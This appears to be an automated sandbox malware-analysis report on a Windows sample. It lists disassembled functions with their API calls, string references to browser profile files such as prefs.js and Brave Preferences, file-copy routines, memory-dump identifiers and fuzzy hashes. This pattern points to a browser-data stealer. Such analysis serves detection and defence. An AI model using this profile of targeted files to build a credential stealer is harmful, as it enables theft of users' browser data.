lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004058F8
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00405932
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405942
StrCmpCA.SHLWAPI(?,02F64E08), ref: 00405962

Strings

------, xrefs: 004059F9, 00405A26
--, xrefs: 00405A5F, 00405A87
", xrefs: 00405C74, 00405D62, 00405E50
------, xrefs: 00405BDB, 00405CCC, 00405DBA

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: ------$"$--$------
API String ID: 2041821634-1406108388
Opcode ID: e81a8969994553abcf0bc8003e4d9d87c48fc6ccaa86cb23bdf64c52ccdb5915
Instruction ID: 2375916d5a90b770783174c7b34ddb40178be17adc8a410e9ed10cb671890872
Opcode Fuzzy Hash: e81a8969994553abcf0bc8003e4d9d87c48fc6ccaa86cb23bdf64c52ccdb5915
Instruction Fuzzy Hash: FB326C31B002169BCB10EBB9DD89A9F77B5AF44314F05543AB905B7292DB78EC068FD8

Function 004201C2 Relevance: 73.3, APIs: 40, Strings: 1, Instructions: 1558stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004201E3
lstrlenA.KERNEL32(0042CFF4,00000000,00000000,00000000,?,00422075), ref: 0042028D
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004202B1
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 004202BC
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004202E0
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 004202EB
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0042030F
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 0042032A
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00420359
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 00420364
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00420393
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 0042039E
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004203D6
lstrlenA.KERNEL32(0042CFF4,?,00422075), ref: 00420420
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00420458
lstrcpy.KERNEL32(00000000,?), ref: 0042076B
lstrlenA.KERNEL32(02F5D778), ref: 0042077B
lstrcpy.KERNEL32(00000000,?), ref: 004207A7
lstrcatA.KERNEL32(00000000,?), ref: 004207B3
lstrcpy.KERNEL32(00000000,00000000), ref: 004207DE
lstrlenA.KERNEL32(02F663D8), ref: 004207F5
lstrcpy.KERNEL32(00000000,?), ref: 0042081C
lstrcatA.KERNEL32(00000000,?), ref: 00420828
lstrcpy.KERNEL32(00000000,00000000), ref: 00420851
lstrlenA.KERNEL32(02F5D858), ref: 00420868
lstrcpy.KERNEL32(00000000,?), ref: 00420899
lstrcatA.KERNEL32(00000000,?), ref: 004208A5
lstrcpy.KERNEL32(00000000,00000000), ref: 004208D6
lstrcpy.KERNEL32(00000000,02F5AC00), ref: 0042091B

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000,?), ref: 0042094F
lstrcpy.KERNEL32(00000000,02F66318), ref: 004209B7
lstrcpy.KERNEL32(00000000,02F64C68), ref: 00420A28
lstrcpy.KERNEL32(00000000,fplugins), ref: 00420A9F
lstrcpy.KERNEL32(00000000,?), ref: 00420AF8
lstrcpy.KERNEL32(00000000,02F64D98), ref: 00420BC8

Part of subcall function 004024E0: lstrcpy.KERNEL32(00000000,?), ref: 00402528
Part of subcall function 004024E0: lstrcpy.KERNEL32(00000000,?), ref: 0040254E
Part of subcall function 004024E0: lstrcpy.KERNEL32(00000000,?), ref: 00402577

lstrcpy.KERNEL32(00000000,02F64E68), ref: 00420C9E
lstrcpy.KERNEL32(00000000,?), ref: 00420D51
lstrcpy.KERNEL32(00000000,02F64E68), ref: 00420F28

Strings

fplugins, xrefs: 00420A99

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: fplugins
API String ID: 2500673778-38756186
Opcode ID: 01113c0e5defc70ae1c42eda518538fddabc04853e8ebb007dacf6b157e7d514
Instruction ID: 2c77764667bdd4d59bf2e9336943f896eae26a07ecee25c25464ffd612f7e812
Opcode Fuzzy Hash: 01113c0e5defc70ae1c42eda518538fddabc04853e8ebb007dacf6b157e7d514
Instruction Fuzzy Hash: 05E27D70A053518FD724DF29D588B5ABBE1BF88304F98846EE44D8B3A2DB38D845CF56

Function 00412DCC Relevance: 69.6, APIs: 46, Instructions: 572
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32 ref: 00412DD8
lstrcatA.KERNEL32(?,00000000), ref: 00412DE3
lstrlenA.KERNEL32(0043179C), ref: 00412DEE
lstrcpy.KERNEL32(00000000), ref: 00412E11
lstrcatA.KERNEL32(00000000,0043179C), ref: 00412E1D
lstrlenA.KERNEL32(02F65DC0), ref: 00412E2C
lstrcpy.KERNEL32(00000000,?), ref: 00412E5C
lstrcatA.KERNEL32(00000000,?), ref: 00412E64
lstrlenA.KERNEL32(0043179C), ref: 00412E6F
lstrcpy.KERNEL32(00000000,00000000), ref: 00412E92
lstrcatA.KERNEL32(00000000,0043179C), ref: 00412E9E
lstrlenA.KERNEL32(02F65548), ref: 00412EAD
lstrcpy.KERNEL32(00000000,?), ref: 00412ED7
lstrcatA.KERNEL32(00000000,?), ref: 00412EDF
lstrcpy.KERNEL32(00000000,00000000), ref: 00412F02
lstrcatA.KERNEL32(00000000,00000000), ref: 00412F0D
lstrlenA.KERNEL32(02F655E8), ref: 00412F1C
lstrcpy.KERNEL32(00000000,00000000), ref: 00412F45
lstrcatA.KERNEL32(00000000,00000000), ref: 00412F50
lstrcpy.KERNEL32(00000000,00000000), ref: 00412F79
lstrlenA.KERNEL32(0043179C), ref: 00412FDB
lstrcpy.KERNEL32(00000000,00000000), ref: 00413000
lstrcatA.KERNEL32(00000000,0043179C), ref: 0041300C
lstrlenA.KERNEL32(02F64B48), ref: 0041301A
lstrcpy.KERNEL32(00000000,00000000), ref: 0041303B
lstrcatA.KERNEL32(00000000,02F64B48), ref: 00413043
lstrcpy.KERNEL32(00000000,00000000), ref: 0041306A
lstrcpy.KERNEL32(00000000,?), ref: 0041309F
GetFileAttributesA.KERNEL32(00000000), ref: 004130A6
lstrcpy.KERNEL32(00000000,?), ref: 00413167
lstrcpy.KERNEL32(00000000,?), ref: 00413190
lstrcpy.KERNEL32(00000000,?), ref: 004131B9
lstrcpy.KERNEL32(00000000,?), ref: 004131E4

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFile
String ID:
API String ID: 1033685851-0
Opcode ID: 54d0a13b19ba3d9a7a48c85d20fd278f2644297b39281c6c1280d6f2babc995c
Instruction ID: a3bda7008b93e384f0931a3fb194133b0190ab2649ecf1000e8b0416e60c001c
Opcode Fuzzy Hash: 54d0a13b19ba3d9a7a48c85d20fd278f2644297b39281c6c1280d6f2babc995c
Instruction Fuzzy Hash: D7127D71B102069BCB21AF79DE89AAF77B5AF04305F04412AB815E7390DFB8DD458F98

Function 00414DD7 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 00414DEC
StrCmpCA.SHLWAPI(?,004317AC), ref: 00414E06
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414E3F
lstrcpy.KERNEL32(00000000,?), ref: 00414E6A
lstrcatA.KERNEL32(00000000,00000000), ref: 00414E75
lstrlenA.KERNEL32(0043179C), ref: 00414E80
lstrcpy.KERNEL32(00000000,00000000), ref: 00414E9D
lstrcatA.KERNEL32(00000000,0043179C), ref: 00414EA9
lstrlenA.KERNEL32(?), ref: 00414EB6
lstrcpy.KERNEL32(00000000,00000000), ref: 00414EDA
lstrcatA.KERNEL32(00000000,?), ref: 00414EE8
lstrcpy.KERNEL32(00000000,00000000), ref: 00414F10
StrCmpCA.SHLWAPI(?,prefs.js), ref: 00414F38
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414F70
lstrlenA.KERNEL32(02F65C40), ref: 00414F7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FA7
lstrcatA.KERNEL32(00000000,00000000), ref: 00414FB2
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00415016
lstrcatA.KERNEL32(00000000), ref: 00415020
lstrcpy.KERNEL32(00000000,00000000), ref: 00415049
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00415065
lstrcpy.KERNEL32(00000000,00000000), ref: 0041508E
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004150A3
lstrcpy.KERNEL32(00000000), ref: 00415103
lstrcpy.KERNEL32(00000000,?), ref: 00415129
lstrcpy.KERNEL32(00000000,?), ref: 00415152
lstrcpy.KERNEL32(00000000,?), ref: 0041517B
lstrcpy.KERNEL32(00000000,00000000), ref: 004151A4
FindNextFileA.KERNELBASE(?,?), ref: 004153B3
FindClose.KERNEL32(?), ref: 004153C2

Strings

prefs.js, xrefs: 00414F2C

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filelstrlen$CopyFind$CloseNext
String ID: prefs.js
API String ID: 3746966799-3783873740
Opcode ID: cb5bacbbd40ee19772251fee89ecbcaf903476642fd945c4a53e8ad6178654f9
Instruction ID: 8528b917f2b0b1c6bbe7a952a834aceedb33eb2d27599e1ee42668cb26ef8f34
Opcode Fuzzy Hash: cb5bacbbd40ee19772251fee89ecbcaf903476642fd945c4a53e8ad6178654f9
Instruction Fuzzy Hash: 6F820F70A01605CFDB14CF29D948BAAB7E5AF84315F1980AED809DB3A1D779DC82CF94

Function 00414DD9 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 00414DEC
StrCmpCA.SHLWAPI(?,004317AC), ref: 00414E06
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414E3F
lstrcpy.KERNEL32(00000000,?), ref: 00414E6A
lstrcatA.KERNEL32(00000000,00000000), ref: 00414E75
lstrlenA.KERNEL32(0043179C), ref: 00414E80
lstrcpy.KERNEL32(00000000,00000000), ref: 00414E9D
lstrcatA.KERNEL32(00000000,0043179C), ref: 00414EA9
lstrlenA.KERNEL32(?), ref: 00414EB6
lstrcpy.KERNEL32(00000000,00000000), ref: 00414EDA
lstrcatA.KERNEL32(00000000,?), ref: 00414EE8
lstrcpy.KERNEL32(00000000,00000000), ref: 00414F10
StrCmpCA.SHLWAPI(?,prefs.js), ref: 00414F38
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414F70
lstrlenA.KERNEL32(02F65C40), ref: 00414F7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FA7
lstrcatA.KERNEL32(00000000,00000000), ref: 00414FB2
lstrcpy.KERNEL32(00000000,00000000), ref: 00414FDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00415016
lstrcatA.KERNEL32(00000000), ref: 00415020
lstrcpy.KERNEL32(00000000,00000000), ref: 00415049
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00415065
lstrcpy.KERNEL32(00000000,00000000), ref: 0041508E
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004150A3
lstrcpy.KERNEL32(00000000), ref: 00415103
lstrcpy.KERNEL32(00000000,?), ref: 00415129
lstrcpy.KERNEL32(00000000,?), ref: 00415152
lstrcpy.KERNEL32(00000000,?), ref: 0041517B
lstrcpy.KERNEL32(00000000,00000000), ref: 004151A4
FindNextFileA.KERNELBASE(?,?), ref: 004153B3
FindClose.KERNEL32(?), ref: 004153C2

Strings

prefs.js, xrefs: 00414F2C

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filelstrlen$CopyFind$CloseNext
String ID: prefs.js
API String ID: 3746966799-3783873740
Opcode ID: 0d1d9324d80e33d74719c323c77731427aa3195d14362299c26f0068816fb0c4
Instruction ID: 35d474fb120be2c241d43a51aa2981ea33a99c8d5b7f9701bbd58d94500e97cb
Opcode Fuzzy Hash: 0d1d9324d80e33d74719c323c77731427aa3195d14362299c26f0068816fb0c4
Instruction Fuzzy Hash: A3820F70A01605CFDB14CF29D948BAAB7E5AF84315F1980AED809DB3A1D779DC82CF94

Function 0040B870 Relevance: 63.5, APIs: 42, Instructions: 542
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040B8A3
lstrlenA.KERNEL32(02F64BE8), ref: 0040B8C2
lstrcpy.KERNEL32(00000000,?), ref: 0040B8EF
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B8F7
lstrlenA.KERNEL32(0043179C), ref: 0040B902
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B922
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040B92E
lstrcpy.KERNEL32(00000000,?), ref: 0040B959
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B964
lstrlenA.KERNEL32(02F64C88), ref: 0040B972
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B99E
lstrcatA.KERNEL32(00000000,02F64C88), ref: 0040B9A6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B9D7
lstrlenA.KERNEL32(02F64BE8), ref: 0040B9FC
lstrcpy.KERNEL32(00000000,?), ref: 0040BA29
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BA31
lstrlenA.KERNEL32(0043179C), ref: 0040BA3C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BA5C
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040BA68
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BA91
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BA9C
lstrlenA.KERNEL32(00434BA8), ref: 0040BAA7
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BAC9
lstrcatA.KERNEL32(00000000,00434BA8), ref: 0040BAD5
lstrcpy.KERNEL32(00000000,?), ref: 0040BAFD
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BB08
lstrlenA.KERNEL32(02F64C88), ref: 0040BB1A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BB43
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BB51
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BB7F
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040BC1F
lstrlenA.KERNEL32(00000000), ref: 0040BC52
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BC7C
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BC84
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BCAC

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 41a9bf807575e4d1d0d01ee9aee8986673fa1fa4c55ecb766f463b2085c9e9ce
Instruction ID: 2e2636f2992f7b81e543780699dd2e5f5c814ebea16d5818ce57482182b3ae83
Opcode Fuzzy Hash: 41a9bf807575e4d1d0d01ee9aee8986673fa1fa4c55ecb766f463b2085c9e9ce
Instruction Fuzzy Hash: 9D123B71A002069BCB219F69DD89AAFB7B5EF44704F14503AE805B73A1DB79DC05CBE8

Function 00410C80 Relevance: 60.6, APIs: 40, Instructions: 603stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00410CB2
lstrlenA.KERNEL32(02F65C40), ref: 00410CC1
lstrcpy.KERNEL32(00000000,00000000), ref: 00410CE4
lstrcatA.KERNEL32(00000000,00000000), ref: 00410CEF
lstrcpy.KERNEL32(00000000,00000000), ref: 00410D15
lstrcpy.KERNEL32(00000000,?), ref: 00410D53
lstrcatA.KERNEL32(00000000), ref: 00410D5D
lstrcpy.KERNEL32(00000000,00000000), ref: 00410D86
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00410DA2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00410DD2
lstrlenA.KERNEL32(02F64BE8), ref: 00410DE1
lstrcpy.KERNEL32(00000000,?), ref: 00410E0B
lstrcatA.KERNEL32(00000000,?), ref: 00410E13
lstrlenA.KERNEL32(0043179C), ref: 00410E1E
lstrcpy.KERNEL32(00000000,00000000), ref: 00410E3E
lstrcatA.KERNEL32(00000000,0043179C), ref: 00410E4A
lstrcpy.KERNEL32(00000000,00000000), ref: 00410E70
lstrcatA.KERNEL32(00000000,00000000), ref: 00410E7B
lstrlenA.KERNEL32(00434BA8), ref: 00410E86
lstrcpy.KERNEL32(00000000,?), ref: 00410EA9
lstrcatA.KERNEL32(00000000,00434BA8), ref: 00410EB5
lstrcpy.KERNEL32(00000000,00000000), ref: 00410ED8
lstrcatA.KERNEL32(00000000,00000000), ref: 00410EE3
lstrlenA.KERNEL32(02F64C88), ref: 00410EF2
lstrcpy.KERNEL32(00000000,00000000), ref: 00410F1C
lstrcatA.KERNEL32(00000000,00000000), ref: 00410F27
lstrcpy.KERNEL32(00000000,00000000), ref: 00410F51
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00410FF0
lstrcpy.KERNEL32(00000000,00000000), ref: 00411042

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$CopyFile
String ID:
API String ID: 4143980809-0
Opcode ID: 781c309a53ce141e8aa88be6f9335484267133d6469ceb10ebd7f5b5afe5f788
Instruction ID: 17b8aabf7fa2f933c5a50531e74c654ad3ed56db32e74c64410242149d188823
Opcode Fuzzy Hash: 781c309a53ce141e8aa88be6f9335484267133d6469ceb10ebd7f5b5afe5f788
Instruction Fuzzy Hash: D0324570A012069FCB21DF69DD88AAFB7B5AF44304F14506AF505A73A1DBB8DC85CF98

Function 00415E90 Relevance: 57.6, APIs: 38, Instructions: 593
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415EC5
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415EF2
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00415F21
lstrcpy.KERNEL32(00000000,00000000), ref: 00415F52
lstrcpy.KERNEL32(00000000,00000000), ref: 00415F7A
lstrcatA.KERNEL32(00000000,00000000), ref: 00415F85
lstrcpy.KERNEL32(00000000,00000000), ref: 00415FB0
lstrcpy.KERNEL32(00000000,00000000), ref: 00415FE9
lstrcatA.KERNEL32(00000000,00000000), ref: 00415FF4
lstrcpy.KERNEL32(00000000,00000000), ref: 0041601F
lstrcatA.KERNEL32(00000000,00000000), ref: 0041602A
lstrcpy.KERNEL32(00000000,00000000), ref: 00416052
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 0041608A
lstrcpy.KERNEL32(00000000,00000000), ref: 004160C1
lstrcpy.KERNEL32(00000000,00000000), ref: 004160EC
lstrcatA.KERNEL32(00000000,00000000), ref: 004160F7

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FolderPath
String ID:
API String ID: 2440492483-0
Opcode ID: 5e350e57db3f4fc1530e1060a45eb1080e35112ec2ced70913c95091baea10f6
Instruction ID: 38103eaea4a575095f791a17f6028a2b6f789c3351431b662c5749ae13ad16d5
Opcode Fuzzy Hash: 5e350e57db3f4fc1530e1060a45eb1080e35112ec2ced70913c95091baea10f6
Instruction Fuzzy Hash: 95229071A012169BCB21AF69CD88AEF7BB5AF44304F05442AF855A7391CB78DC858F98

Function 0040DD07 Relevance: 53.3, APIs: 27, Strings: 3, Instructions: 796stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 0040DD1C
StrCmpCA.SHLWAPI(?,004317AC), ref: 0040DD36
lstrlenA.KERNEL32(Function_0002CFF4), ref: 0040DD49
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040DD74
lstrcpy.KERNEL32(00000000,?), ref: 0040DDDE
lstrcpy.KERNEL32(00000000,?), ref: 0040DE8A
StrCmpCA.SHLWAPI(?,Brave), ref: 0040DF73
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Strings

Preferences, xrefs: 0040DF81
\Brave\Preferences, xrefs: 0040E0AA
Brave, xrefs: 0040DF6A

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNextlstrlen
String ID: Brave$Preferences$\Brave\Preferences
API String ID: 1349006732-1230934161
Opcode ID: 39305df67afe6e3633bee3a7a54dfb090e8d9641f653b13bae8e0354b566e866
Instruction ID: bed11ac9978245e1b281c91deb88dafc4bc417f0968136c8cdeb3bf84ec45d80
Opcode Fuzzy Hash: 39305df67afe6e3633bee3a7a54dfb090e8d9641f653b13bae8e0354b566e866
Instruction Fuzzy Hash: 53627F71A012158FCB24DF6AC944A5AB7B5AF44314F1884BEE809BB3E1DB79EC41CF94

Function 0040DD09 Relevance: 53.3, APIs: 27, Strings: 3, Instructions: 796stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004317A8), ref: 0040DD1C
StrCmpCA.SHLWAPI(?,004317AC), ref: 0040DD36
lstrlenA.KERNEL32(Function_0002CFF4), ref: 0040DD49
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040DD74
lstrcpy.KERNEL32(00000000,?), ref: 0040DDDE
lstrcpy.KERNEL32(00000000,?), ref: 0040DE8A
StrCmpCA.SHLWAPI(?,Brave), ref: 0040DF73
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Strings

Preferences, xrefs: 0040DF81
\Brave\Preferences, xrefs: 0040E0AA
Brave, xrefs: 0040DF6A

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

